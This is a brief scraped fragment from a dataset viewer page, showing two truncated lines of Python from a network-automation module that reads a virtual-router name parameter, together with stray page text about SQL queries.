vrouter_name = module.params['pn_vrouter_name']
command = state_map[... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.